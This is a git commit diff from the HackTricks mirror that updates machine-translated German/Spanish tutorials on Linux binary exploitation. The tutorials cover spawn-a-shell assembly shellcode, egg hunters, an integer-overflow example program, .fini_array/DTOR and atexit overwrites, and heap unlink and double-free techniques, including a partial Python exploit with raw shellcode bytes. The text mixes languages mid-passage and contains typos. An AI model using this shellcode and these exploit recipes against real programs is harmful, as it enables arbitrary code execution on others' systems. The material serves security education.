Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-15 01:17:36 +00:00
Code Issues Projects Releases Packages Wiki Activity

Translated ['exploiting/linux-exploiting-basic-esp/README.md', 'reversin

Browse source
This commit is contained in:
Translator 2024-04-02 19:46:19 +00:00
parent 962e7f5aba
commit 53dfb7c357
16 changed files with 497 additions and 397 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

6
SUMMARY.md
View file

@ -700,8 +700,9 @@
* [Leaking libc - template](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md)
* [Stack Shellcode](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-shellcode.md)
* [Stack Pivoting - EBP2Ret - EBP chaining](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
* [Pointer Redirecting](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/pointer-redirecting.md)
* [Ret2win](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2win.md)
* [Ret2ret](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2ret.md)
* [Ret2ret & Reo2pop](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2ret.md)
* [Ret2esp / Ret2reg](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2esp-ret2reg.md)
* [SROP - Sigreturn-Oriented Programming](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/srop-sigreturn-oriented-programming.md)
* [Ret2dlresolve](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2dlresolve.md)
@ -717,10 +718,11 @@
* [BF Addresses in the Stack](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md)
* [Relro](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/relro.md)
* [Stack Canaries](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/README.md)
* [BF Forked Stack Canaries](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md)
* [BF Forked & Threaded Stack Canaries](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md)
* [Print Stack Canary](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md)
* [One Gadget](reversing-and-exploiting/linux-exploiting-basic-esp/one-gadget.md)
* [Arbitrary Write 2 Exec](reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/README.md)
* [AWS2Exec - .dtors & .fini\_array](reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aws2exec-.dtors-and-.fini\_array.md)
* [AW2Exec - \_\_malloc\_hook](reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-\_\_malloc\_hook.md)
* [AW2Exec - GOT/PLT](reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-got-plt.md)
* [Common Exploiting Problems](reversing-and-exploiting/linux-exploiting-basic-esp/common-exploiting-problems.md)

378
exploiting/linux-exploiting-basic-esp/README.md
View file

@ -7,7 +7,7 @@
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
@ -65,7 +65,7 @@ int $0x80 ; exit(0)
call -0x24 ; Salto a la primera instrución
.string \”/bin/sh\” ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1">​</span>
```
**EJ mit dem Stack(/bin/sh) verwenden:**
**EJ using Stack(/bin/sh):**
```
section .text
global _start
@ -86,8 +86,7 @@ mov ecx, esp ; arg2 = args[]
mov al, 0x0b ; Syscall 11
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
```
**EJ FNSTENV:**
EJ FNSTENV ist ein einfacher Exploit, der die FNSTENV-Anweisung verwendet, um den FPU-Zustand zu speichern. Dieser Exploit ist besonders nützlich, wenn Sie versuchen, Shellcode in einem Umfeld auszuführen, in dem der FPU-Zustand nicht korrekt gespeichert wird.
**EJ FNSTENV:**
```
fabs
fnstenv [esp-0x0c]
@ -96,11 +95,11 @@ pop eax ; Guarda el EIP en el que se ejecutó fabs
```
**Egg Hunter:**
Besteht aus einem kleinen Code, der die Speicherseiten eines Prozesses nach der darin gespeicherten Shellcode durchsucht (sucht nach einer Signatur im Shellcode). Nützlich in Fällen, in denen nur wenig Platz zum Einspritzen von Code zur Verfügung steht.
Besteht aus einem kleinen Code, der die Speicherseiten eines Prozesses nach der dort gespeicherten Shellcode durchsucht (sucht nach einer Signatur im Shellcode). Nützlich in Fällen, in denen nur wenig Platz zum Einspritzen von Code zur Verfügung steht.
**Polymorphe Shellcodes**
Sind verschlüsselte Shells, die über kleine Codes verfügen, die sie entschlüsseln und zu ihnen springen lassen, unter Verwendung des Call-Pop-Tricks wäre dies ein **Beispiel für eine Caesar-Verschlüsselung**:
Es handelt sich um verschlüsselte Shells, die über kleine Codes verfügen, die sie entschlüsseln und zu ihnen springen lassen, unter Verwendung des Call-Pop-Tricks wäre dies ein **Beispiel für eine Caesar-Verschlüsselung**:
```
global _start
_start:
@ -121,64 +120,21 @@ sc:
```
## **5. Zusätzliche Methoden**
**Ret2Ret**
Nützlich, wenn die Adresse des Stacks nicht in den EIP eingefügt werden kann (überprüfen, dass der EIP nicht 0xbf enthält) oder wenn der Speicherort der Shellcode nicht berechnet werden kann. Wenn die verwundbare Funktion jedoch einen Parameter akzeptiert (hier wird der Shellcode platziert).
Durch das Ändern des EIP in eine Adresse zu einem **ret** wird die nächste Adresse geladen (die Adresse des ersten Arguments der Funktion). Mit anderen Worten, der Shellcode wird geladen.
Der Exploit würde sein: SHELLCODE + Padding (bis zum EIP) + **\&ret** (die nächsten Bytes im Stack zeigen auf den Beginn des Shellcodes, da die Adresse des übergebenen Parameters im Stack platziert wird)
Es scheint, dass Funktionen wie **strncpy** nach Abschluss die Adresse, an der der Shellcode gespeichert war, aus dem Stack entfernen und diese Technik unmöglich machen. Mit anderen Worten, die Adresse, die der Funktion als Argument übergeben wird (die den Shellcode speichert), wird durch eine 0x00 ersetzt, sodass beim Aufruf des zweiten **ret** ein 0x00 gefunden wird und das Programm abstürzt.
**Murats Technik**
**Murat-Technik**
In Linux werden alle Programme ab 0xbfffffff gemappt.
Durch das Betrachten des Aufbaus des Stacks eines neuen Prozesses in Linux kann ein Exploit entwickelt werden, sodass das Programm in einer Umgebung gestartet wird, in der nur eine Variable vorhanden ist, nämlich der Shellcode. Die Adresse dieser Variable kann dann berechnet werden als: addr = 0xbfffffff - 4 - strlen(KOMPLETTER\_AUSFÜHRBARER\_NAME) - strlen(shellcode)
Durch die Analyse des Aufbaus des Stacks eines neuen Prozesses in Linux kann ein Exploit entwickelt werden, bei dem das Programm in einer Umgebung gestartet wird, in der nur die Shellcode-Variable vorhanden ist. Die Adresse dieser Variable kann dann wie folgt berechnet werden: addr = 0xbfffffff - 4 - strlen(VOLLSTÄNDIGER_AUSFÜHRBARER_NAME) - strlen(shellcode)
Auf diese Weise kann die Adresse, an der sich die Umgebungsvariable mit dem Shellcode befindet, einfach erhalten werden.
Auf diese Weise kann einfach die Adresse ermittelt werden, an der sich die Umgebungsvariable mit dem Shellcode befindet.
Dies ist möglich, da die Funktion execle es ermöglicht, eine Umgebung zu erstellen, die nur die gewünschten Umgebungsvariablen enthält.
Dies ist möglich, da die Funktion execle eine Umgebung erstellen kann, die nur die gewünschten Umgebungsvariablen enthält.
**Integer-Überläufe**
Diese Art von Überläufen tritt auf, wenn eine Variable nicht darauf vorbereitet ist, eine so große Zahl zu verarbeiten, wie ihr übergeben wird, möglicherweise aufgrund einer Verwechslung zwischen vorzeichenbehafteten und vorzeichenlosen Variablen, zum Beispiel:
```c
#include <stdion.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, char *argv[]){
int len;
unsigned int l;
char buffer[256];
int i;
len = l = strtoul(argv[1], NULL, 10);
printf("\nL = %u\n", l);
printf("\nLEN = %d\n", len);
if (len >= 256){
printf("\nLongitus excesiva\n");
exit(1);
}
if(strlen(argv[2]) < l)
strcpy(buffer, argv[2]);
else
printf("\nIntento de hack\n");
return 0;
}
```
En el previous example we see that the program expects 2 parameters. The first one is the length of the next string and the second one is the string.
If we pass a negative number as the first parameter, it will show that len < 256 and we will bypass that filter, and also strlen(buffer) will be less than l, since l is an unsigned int and will be very large.
This type of overflows does not aim to write something in the program's process, but to bypass poorly designed filters to exploit other vulnerabilities.
**Uninitialized Variables**
The value that an uninitialized variable can take is unknown and it could be interesting to observe it. It may take the value that a variable from the previous function took and this may be controlled by the attacker.
##
@ -188,89 +144,42 @@ The value that an uninitialized variable can take is unknown and it could be int
###
### **.fini\_array**
###
Grundsätzlich handelt es sich hierbei um eine Struktur mit **Funktionen, die aufgerufen werden**, bevor das Programm beendet wird. Dies ist interessant, wenn Sie Ihren **Shellcode aufrufen können, indem Sie zu einer Adresse springen**, oder in Fällen, in denen Sie erneut zu main zurückkehren müssen, um die **Format-String ein zweites Mal auszunutzen**.
```bash
objdump -s -j .fini_array ./greeting
### **Format Strings to Buffer Overflows**
./greeting: file format elf32-i386
Contents of section .fini_array:
8049934 a0850408
#Put your address in 0x8049934
```
Hinweis, dass dies **keine** **endlose Schleife** erzeugt, da der Canary bemerken wird, dass das Ende des Stapels möglicherweise beschädigt ist und die Funktion nicht erneut aufgerufen wird. Daher können Sie mit diesem **1 weitere Ausführung** der Schwachstelle haben.
### **Format Strings zum Dumpen von Inhalten**
Eine Formatzeichenkette kann auch missbraucht werden, um Inhalte aus dem Speicher des Programms zu **dumpen**.\
Zum Beispiel gibt es in der folgenden Situation eine **lokale Variable im Stapel, die auf eine Flagge zeigt**. Wenn Sie herausfinden, wo im **Speicher** der **Zeiger** auf die **Flagge** ist, können Sie **printf** dazu bringen, auf diese **Adresse** zuzugreifen und die **Flagge** auszugeben:
Also, die Flagge ist in **0xffffcf4c**
![](<../../.gitbook/assets/image (618) (2).png>)
Und aus dem Leak können Sie sehen, dass der **Zeiger auf die Flagge** im **8.** Parameter liegt:
![](<../../.gitbook/assets/image (623).png>)
Daher können Sie durch **Zugriff auf den 8. Parameter** die Flagge erhalten:
![](<../../.gitbook/assets/image (624).png>)
Beachten Sie, dass Sie nach dem **vorherigen Exploit** und der Erkenntnis, dass Sie Inhalte **leaken** können, **Zeiger** auf **`printf`** in den Abschnitt setzen können, in dem das **ausführbare** Programm **geladen** ist, und es **vollständig dumpen**!
### **DTOR**
{% hint style="danger" %}
Heutzutage ist es sehr **seltsam, ein Binär mit einem DTOR-Abschnitt zu finden**.
{% endhint %}
Die Destruktoren sind Funktionen, die **ausgeführt werden, bevor das Programm endet**.\
Wenn es Ihnen gelingt, eine **Adresse** zu einem **Shellcode** in **`__DTOR_END__`** zu **schreiben**, wird dies **ausgeführt**, bevor das Programm endet.\
Holen Sie sich die Adresse dieses Abschnitts mit:
```bash
objdump -s -j .dtors /exec
rabin -s /exec | grep “__DTOR”
```
In der Regel finden Sie den **DTOR**-Abschnitt **zwischen** den Werten `ffffffff` und `00000000`. Wenn Sie also nur diese Werte sehen, bedeutet das, dass **keine Funktion registriert ist**. Überschreiben Sie also die **`00000000`** mit der **Adresse** des **Shellcodes**, um ihn auszuführen.
### **Format Strings für Buffer Overflows**
**sprintf** kopiert einen formatierten String in eine **Variable**. Daher könnten Sie die **Formatierung** eines Strings missbrauchen, um einen **Buffer Overflow in der Variable** zu verursachen.\
Beispielsweise schreibt das Payload `%.44xAAAA` 44B+"AAAA" in die Variable, was einen Buffer Overflow verursachen kann.
Das **sprintf** bewegt einen formatierten String in eine Variable. Daher könnte man die Formatierung eines Strings missbrauchen, um einen Pufferüberlauf in der Variablen zu verursachen, in die der Inhalt kopiert wird.\
Beispielsweise schreibt das Payload `%.44xAAAA` 44B+"AAAA" in die Variable, was einen Pufferüberlauf verursachen kann.
### **\_\_atexit-Strukturen**
{% hint style="danger" %}
Heutzutage ist es sehr **ungewöhnlich, dies auszunutzen**.
Heutzutage ist es sehr ungewöhnlich, dies auszunutzen.
{% endhint %}
**`atexit()`** ist eine Funktion, der **andere Funktionen als Parameter übergeben werden**. Diese **Funktionen** werden ausgeführt, wenn ein **`exit()`** ausgeführt wird oder das **Hauptprogramm beendet wird**.\
Wenn Sie die **Adresse** einer dieser **Funktionen** beispielsweise auf einen Shellcode zeigen lassen können, erhalten Sie **Kontrolle** über den **Prozess**, aber dies ist derzeit komplizierter.\
Derzeit sind die **Adressen der auszuführenden Funktionen** hinter mehreren Strukturen versteckt, und schließlich sind die Adressen, auf die sie zeigen, nicht die Adressen der Funktionen, sondern sind **verschlüsselt mit XOR** und Verschiebungen mit einem **zufälligen Schlüssel**. Daher ist dieser Angriffsvektor derzeit **zumindest auf x86** und **x64\_86** nicht sehr nützlich.\
Die **Verschlüsselungsfunktion** ist **`PTR_MANGLE`**. **Andere Architekturen** wie m68k, mips32, mips64, aarch64, arm, hppa... **implementieren die Verschlüsselungsfunktion nicht**, da sie das Gleiche zurückgeben wie sie als Eingabe erhalten haben. Daher wären diese Architekturen durch diesen Vektor angreifbar.
**`atexit()`** ist eine Funktion, der andere Funktionen als Parameter übergeben werden. Diese Funktionen werden ausgeführt, wenn ein **`exit()`** ausgeführt wird oder das **main** beendet wird.\
Wenn Sie die Adresse einer dieser Funktionen so ändern können, dass sie beispielsweise auf einen Shellcode zeigt, können Sie die Kontrolle über den Prozess übernehmen. Dies ist jedoch derzeit komplizierter.\
Derzeit sind die Adressen der auszuführenden Funktionen hinter mehreren Strukturen versteckt, und schließlich sind die Adressen, auf die sie zeigen, nicht die Adressen der Funktionen, sondern sind mit XOR verschlüsselt und Verschiebungen mit einem zufälligen Schlüssel. Daher ist dieser Angriffsvektor derzeit auf x86 und x64\_86 nicht sehr nützlich.\
Die Verschlüsselungsfunktion ist **`PTR_MANGLE`**. **Andere Architekturen** wie m68k, mips32, mips64, aarch64, arm, hppa... **implementieren die Verschlüsselungsfunktion nicht**, da sie das Gleiche zurückgeben wie sie als Eingabe erhalten haben. Daher wären diese Architekturen über diesen Vektor angreifbar.
### **setjmp() & longjmp()**
{% hint style="danger" %}
Heutzutage ist es sehr **ungewöhnlich, dies auszunutzen**.
Heutzutage ist es sehr ungewöhnlich, dies auszunutzen.
{% endhint %}
**`Setjmp()`** ermöglicht es, den **Kontext** (die Register) zu **speichern**.\
**`longjmp()`** ermöglicht es, den **Kontext** zu **wiederherstellen**.\
Die **gespeicherten Register** sind: `EBX, ESI, EDI, ESP, EIP, EBP`\
Das Problem ist, dass EIP und ESP durch die **`PTR_MANGLE`**-Funktion übergeben werden, daher sind die **Architekturen, die anfällig für diesen Angriff sind, die gleichen wie oben**.\
**`Setjmp()`** ermöglicht das **Speichern** des Kontexts (der Register)\
**`longjmp()`** ermöglicht das **Wiederherstellen** des Kontexts.\
Die gespeicherten Register sind: `EBX, ESI, EDI, ESP, EIP, EBP`\
Das Problem ist, dass EIP und ESP durch die Funktion **`PTR_MANGLE`** übergeben werden, sodass die **Architektur, die anfällig für diesen Angriff ist, die gleiche ist wie oben**.\
Sie sind nützlich für Fehlerbehebung oder Unterbrechungen.\
Jedoch sind nach meinen Recherchen die anderen Register nicht geschützt, **so dass bei einem `call ebx`, `call esi` oder `call edi`** innerhalb der aufgerufenen Funktion die Kontrolle übernommen werden kann. Oder Sie könnten auch EBP ändern, um ESP zu ändern.
**VTable und VPTR in C++**
Jede Klasse hat eine **Vtable**, die ein Array von **Methodenzeigern** ist.
Jede Klasse hat eine **Vtable**, die ein Array von **Zeigern auf Methoden** ist.
Jedes Objekt einer **Klasse** hat einen **VPtr**, der ein **Zeiger** auf das Array seiner Klasse ist. Der VPtr ist Teil des Headers jedes Objekts, daher könnte bei einer **Überschreibung** des **VPtr** dieser auf eine Dummy-Methode zeigen, sodass beim Ausführen einer Funktion der Shellcode aufgerufen wird.
Jedes Objekt einer **Klasse** hat einen **VPtr**, der ein **Zeiger** auf das Array seiner Klasse ist. Der VPtr ist Teil des Headers jedes Objekts, sodass bei einer **Überschreibung** des **VPtr** dieser geändert werden könnte, um auf eine Dummy-Methode zu zeigen, sodass beim Ausführen einer Funktion der Shellcode aufgerufen wird.
## **Präventivmaßnahmen und Umgehungen**
@ -282,15 +191,15 @@ Aktivieren mit: LD\_PRELOAD=/lib/libsafe.so.2\
oder\
“/lib/libsave.so.2” > /etc/ld.so.preload
Einige unsichere Funktionen werden durch sichere Funktionen ersetzt. Nicht standardisiert. (nur für x86, nicht für Kompilierungen mit -fomit-frame-pointer, nicht für statische Kompilierungen, nicht alle anfälligen Funktionen werden sicher gemacht und LD\_PRELOAD funktioniert nicht bei SUID-Binärdateien).
Einige unsichere Funktionen werden durch sichere Funktionen abgefangen. Nicht standardisiert. (nur für x86, nicht für Kompilierungen mit -fomit-frame-pointer, nicht für statische Kompilierungen, nicht alle anfälligen Funktionen werden sicher gemacht und LD\_PRELOAD funktioniert nicht bei SUID-Binärdateien).
**ASCII-geschützter Adressraum**
**ASCII Armored Address Space**
Lädt gemeinsam genutzte Bibliotheken von 0x00000000 bis 0x00ffffff, damit immer ein Byte 0x00 vorhanden ist. Dies hält jedoch praktisch keinen Angriff auf, insbesondere nicht bei Little Endian.
Es beinhaltet das Laden von Shared Libraries von 0x00000000 bis 0x00ffffff, damit immer ein Byte 0x00 vorhanden ist. Dies hält jedoch kaum einen Angriff auf, insbesondere nicht in Little Endian.
**ret2plt**
Führt ein ROP aus, bei dem die Funktion strcpy@plt (aus der plt) aufgerufen wird und auf den Eintrag der GOT gezeigt wird und das erste Byte der zu aufrufenden Funktion (system()) kopiert wird. Anschließend wird dasselbe mit GOT+1 gemacht und das 2. Byte von system() kopiert... Schließlich wird die in der GOT gespeicherte Adresse aufgerufen, die system() sein wird.
Es besteht darin, ein ROP durchzuführen, bei dem die Funktion strcpy@plt (aus der plt) aufgerufen wird und auf den Eintrag in der GOT gezeigt wird, und das erste Byte der zu aufrufenden Funktion (system()) kopiert wird. Anschließend wird dasselbe für GOT+1 durchgeführt und das 2. Byte von system() kopiert... Schließlich wird die in der GOT gespeicherte Adresse aufgerufen, die system() sein wird.
**Chroot-Käfige**
@ -298,7 +207,7 @@ debootstrap -arch=i386 hardy /home/user —> Installiert ein grundlegendes Syste
Ein Administrator kann aus einem dieser Käfige ausbrechen, indem er: mkdir foo; chroot foo; cd ..
**Codeinstrumentierung**
**Code-Instrumentierung**
Valgrind —> Sucht nach Fehlern\
Memcheck\
@ -317,21 +226,21 @@ size | —Header\
prev\_size |\
size |\
\*fd | Zeiger auf vorheriges Stück\
\*bk | Zeiger auf nächstes Stück —Header\
\*fd | Ptr vorwärts Chunk\
\*bk | Ptr rückwärts Chunk —Header\
\*mem | Daten
Die freien Stücke sind in einer doppelt verketteten Liste (bin) und es dürfen niemals zwei freie Stücke nebeneinander sein (sie werden zusammengeführt).
Im "size"-Feld gibt es Bits, um anzuzeigen: ob das vorherige Stück verwendet wird, ob das Stück über mmap() zugewiesen wurde und ob das Stück zum primären Arena gehört.
Wenn ein Stück freigegeben wird und eines der benachbarten Stücke frei ist, werden sie durch die Makro unlink() fusioniert und das größere neue Stück wird frontlink() übergeben, um es in den entsprechenden Bin einzufügen.
Wenn ein Stück freigegeben wird und eines der benachbarten Stücke frei ist, werden diese durch die Makro unlink() fusioniert und das größere neue Stück wird frontlink() übergeben, um es in den entsprechenden Bin einzufügen.
unlink(){\
BK = P->bk; —> Das BK des neuen Stücks ist das, was das zuvor freie Stück hatte\
FD = P->fd; —> Das FD des neuen Stücks ist das, was das zuvor freie Stück hatte\
FD->bk = BK; —> Das BK des nächsten Stücks zeigt auf das neue Stück\
BK->fd = FD; —> Das FD des vorherigen Stücks zeigt auf das neue Stück\
BK = P->bk; —> Der BK des neuen Chunks ist der, den das zuvor freie Stück hatte\
FD = P->fd; —> Der FD des neuen Chunks ist der, den das zuvor freie Stück hatte\
FD->bk = BK; —> Der BK des nächsten Chunks zeigt auf den neuen Chunk\
BK->fd = FD; —> Der FD des vorherigen Chunks zeigt auf den neuen Chunk\
}
Daher, wenn es gelingt, P->bk mit der Adresse eines Shellcodes und P->fd mit der Adresse eines Eintrags in der GOT oder DTORS minus 12 zu ändern, wird erreicht:
@ -342,21 +251,21 @@ FD->bk = BK -> \*((&\_\_dtor\_end\_\_ - 12) + 12) = \&shellcode
Dadurch wird der Shellcode beim Verlassen des Programms ausgeführt.
Außerdem schreibt die 4. Anweisung von unlink() etwas und der Shellcode muss dafür angepasst werden:
Außerdem schreibt der 4. Satz von unlink() etwas, und der Shellcode muss dafür angepasst werden:
BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor\_end\_\_ - 12) —> Dies führt dazu, dass 4 Bytes ab dem 8. Byte des Shellcodes geschrieben werden, daher sollte das erste Shellcode-Instruction ein Sprungbefehl sein, um dies zu überspringen und zu den Nops zu gelangen, die zum Rest des Shellcodes führen.
BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor\_end\_\_ - 12) —> Dies führt dazu, dass 4 Bytes ab dem 8. Byte des Shellcodes geschrieben werden, sodass die erste Anweisung des Shellcodes ein Sprung sein muss, um dies zu überspringen und zu den Nops zu gelangen, die den Rest des Shellcodes ausführen.
Daher wird der Exploit erstellt:
Im Puffer1 wird der Shellcode platziert, beginnend mit einem Sprungbefehl, damit er zu den Nops oder zum Rest des Shellcodes gelangt.
In den Puffer1 wird der Shellcode eingefügt, beginnend mit einem Sprung, damit er zu den Nops oder dem Rest des Shellcodes gelangt.
Nach dem Shellcode wird Füllmaterial eingefügt, bis die Felder prev\_size und size des nächsten Stücks erreicht sind. An diesen Stellen werden 0xfffffff0 (um prev\_size zu überschreiben, damit das Bit angezeigt wird, dass es frei ist) und "-4" (0xfffffffc) in die size eingefügt (um sicherzustellen, dass beim Überprüfen des 3. Stücks auf Freiheit des 2. Stücks tatsächlich auf die modifizierte prev\_size verwiesen wird, die angibt, dass es frei ist) -> Wenn free() überprüft, wird zur size des 3. Stücks gegangen, aber tatsächlich wird auf das 2. - 4. Stück verwiesen und es wird angenommen, dass das 2. Stück frei ist. Dann wird **unlink()** aufgerufen.
Beim Aufruf von unlink() werden die ersten Daten des 2. Stücks als P->fd verwendet, sodass die Adresse überschrieben wird, die - 12 (da FD->bk 12 zur in FD gespeicherten Adresse hinzufügt) . An dieser Adresse wird die zweite Adresse im 2. Stück eingefügt, die die Adresse des Shellcodes sein soll (falsches P->bk).
Nach dem Shellcode wird Füllmaterial eingefügt, bis die Felder prev\_size und size des nächsten Stücks erreicht sind. An diesen Stellen werden 0xfffffff0 (um prev\_size zu überschreiben, damit das Bit angezeigt wird, dass es frei ist) und "-4" (0xfffffffc) in die size eingefügt (damit, wenn im 3. Stück überprüft wird, ob das 2. Stück frei war, tatsächlich auf die modifizierte prev\_size verwiesen wird, die angibt, dass es frei ist) -> Wenn also free() überprüft, wird es zur size des 3. Stücks gehen, aber tatsächlich zum 2. - 4 und denken, dass das 2. Stück frei ist. Dann wird **unlink()** aufgerufen.
Al llamar a unlink() se usará P->fd los primeros datos del 2º trozo por lo que ahí se meterá la dirección que se quieres sobreescribir - 12(pues en FD->bk le sumará 12 a la dirección guardada en FD) . Y en esa dirección introducirá la segunda dirección que encuentre en el 2º trozo, que nos interesará que sea la dirección a la shellcode(P->bk falso).
**from struct import \***
**import os**
**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes de relleno**
**shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\**
@ -381,57 +290,57 @@ Beim Aufruf von unlink() werden die ersten Daten des 2. Stücks als P->fd verwen
**unset() liberando en sentido inverso (wargame)**
Wir kontrollieren 3 aufeinanderfolgende Chunks und geben sie in umgekehrter Reihenfolge frei.
Estamos controlando 3 chunks consecutivos y se liberan en orden inverso al reservado.
In diesem Fall:
En ese caso:
Im Chunk c wird der Shellcode platziert.
En el chunck c se pone el shellcode
Der Chunk a wird verwendet, um das b zu überschreiben, so dass das Bit PREV\_INUSE deaktiviert wird, damit der Chunk a als frei betrachtet wird.
El chunck a lo usamos para sobreescribir el b de forma que el el size tenga el bit PREV\_INUSE desactivado de forma que piense que el chunck a está libre.
Außerdem wird die Größe im Header b überschrieben, damit sie -4 beträgt.
Además, se sobreescribe en la cabecera b el size para que valga -4.
Dann wird das Programm denken, dass "a" frei ist und in einem Bin liegt, daher wird unlink() aufgerufen, um es zu entkoppeln. Da jedoch die Headergröße PREV\_SIZE -4 beträgt, wird angenommen, dass der "a"-Chunk tatsächlich bei b+4 beginnt. Das heißt, es wird ein unlink() auf einen Chunk durchgeführt, der bei b+4 beginnt. Daher wird bei b+12 der "fd"-Pointer und bei b+16 der "bk"-Pointer sein.
Entonces, el programa se pensará que “a” está libre y en un bin, por lo que llamará a unlink() para desenlazarlo. Sin embargo, como la cabecera PREV\_SIZE vale -4. Se pensará que el trozo de “a” realmente empieza en b+4. Es decir, hará un unlink() a un trozo que comienza en b+4, por lo que en b+12 estará el puntero “fd” y en b+16 estará el puntero “bk”.
Auf diese Weise, wenn wir die Adresse des Shellcodes in bk und die Adresse der Funktion "puts()" -12 in fd setzen, haben wir unser Payload.
De esta forma, si en bk ponemos la dirección a la shellcode y en fd ponemos la dirección a la función “puts()”-12 tenemos nuestro payload.
**Frontlink-Technik**
**Técnica de Frontlink**
Frontlink wird aufgerufen, wenn etwas freigegeben wird und keiner seiner benachbarten Chunks frei ist. Es wird nicht unlink() aufgerufen, sondern direkt frontlink().
Se llama a frontlink cuando se libera algo y ninguno de sus trozos contiguos no son libres, no se llama a unlink() sino que se llama directamente a frontlink().
Nützliche Schwachstelle, wenn das angegriffene malloc nie freigegeben wird (free()).
Vulnerabilidad útil cuando el malloc que se ataca nunca es liberado (free()).
Benötigt werden:
Necesita:
Ein Puffer, der mit der Eingabefunktion überlaufen kann.
Un buffer que pueda desbordarse con la función de entrada de datos
Ein benachbarter Puffer, der freigegeben werden muss und dessen fd-Feld im Header durch den Überlauf des vorherigen Puffers geändert wird.
Un buffer contiguo a este que debe ser liberado y al que se le modificará el campo fd de su cabecera gracias al desbordamiento del buffer anterior
Ein Puffer, der größer als 512, aber kleiner als der vorherige Puffer freigegeben wird.
Un buffer a liberar con un tamaño mayor a 512 pero menor que el buffer anterior
Ein Puffer, der vor Schritt 3 deklariert wird, um das prev\_size dieses Puffers zu überschreiben.
Un buffer declarado antes del paso 3 que permita sobreescribir el prev\_size de este
Dadurch können wir in zwei mallocs unkontrolliert und in einem kontrolliert überschreiben und einen Exploit erstellen.
De esta forma logrando sobres cribar en dos mallocs de forma descontrolada y en uno de forma controlada pero que solo se libera ese uno, podemos hacer un exploit.
**Vulnerabilität double free()**
**Vulnerabilidad double free()**
Wenn free() zweimal mit demselben Zeiger aufgerufen wird, zeigen zwei Bins auf dieselbe Adresse.
Si se llama dos veces a free() con el mismo puntero, quedan dos bins apuntando a la misma dirección.
Wenn einer erneut verwendet werden soll, wird er ohne Probleme zugewiesen. Wenn der andere verwendet werden soll, wird ihm derselbe Speicherplatz zugewiesen, sodass die "fd"- und "bk"-Pointer mit den Daten gefälscht werden, die die vorherige Reservierung schreibt.
En caso de querer volver a usar uno se asignaría sin problemas. En caso de querer usar otro, se le asignaría el mismo espacio por lo que tendríamos los punteros “fd” y “bk” falseados con los datos que escribirá la reserva anterior.
**After free()**
Ein zuvor freigegebener Zeiger wird erneut ohne Kontrolle verwendet.
Un puntero previamente liberado es usado de nuevo sin control.
## **8 Heap-Überläufe: Fortgeschrittene Exploits**
## **8 Heap Overflows: Exploits avanzados**
Die Techniken Unlink() und FrontLink() wurden entfernt, als die Funktion unlink() geändert wurde.
Las técnicas de Unlink() y FrontLink() fueron eliminadas al modificar la función unlink().
**The house of mind**
Es ist nur ein Aufruf von free() erforderlich, um die Ausführung beliebigen Codes zu verursachen. Es ist wichtig, einen zweiten Chunk zu finden, der von einem vorherigen überlaufen und freigegeben werden kann.
Solo una llamada a free() es necesaria para provocar la ejecución de código arbitrario. Interesa buscar un segundo trozo que puede ser desbordado por uno anterior y liberado.
Ein Aufruf von free() führt dazu, dass public\_fREe(mem) aufgerufen wird, das Folgendes ausführt:
Una llamada a free() provoca llamar a public\_fREe(mem), este hace:
mstate ar\_ptr;
@ -439,7 +348,7 @@ mchunkptr p;
…
p = mem2chunk(mes); —> Gibt einen Zeiger auf die Adresse zurück, an der der Chunk beginnt (mem-8)
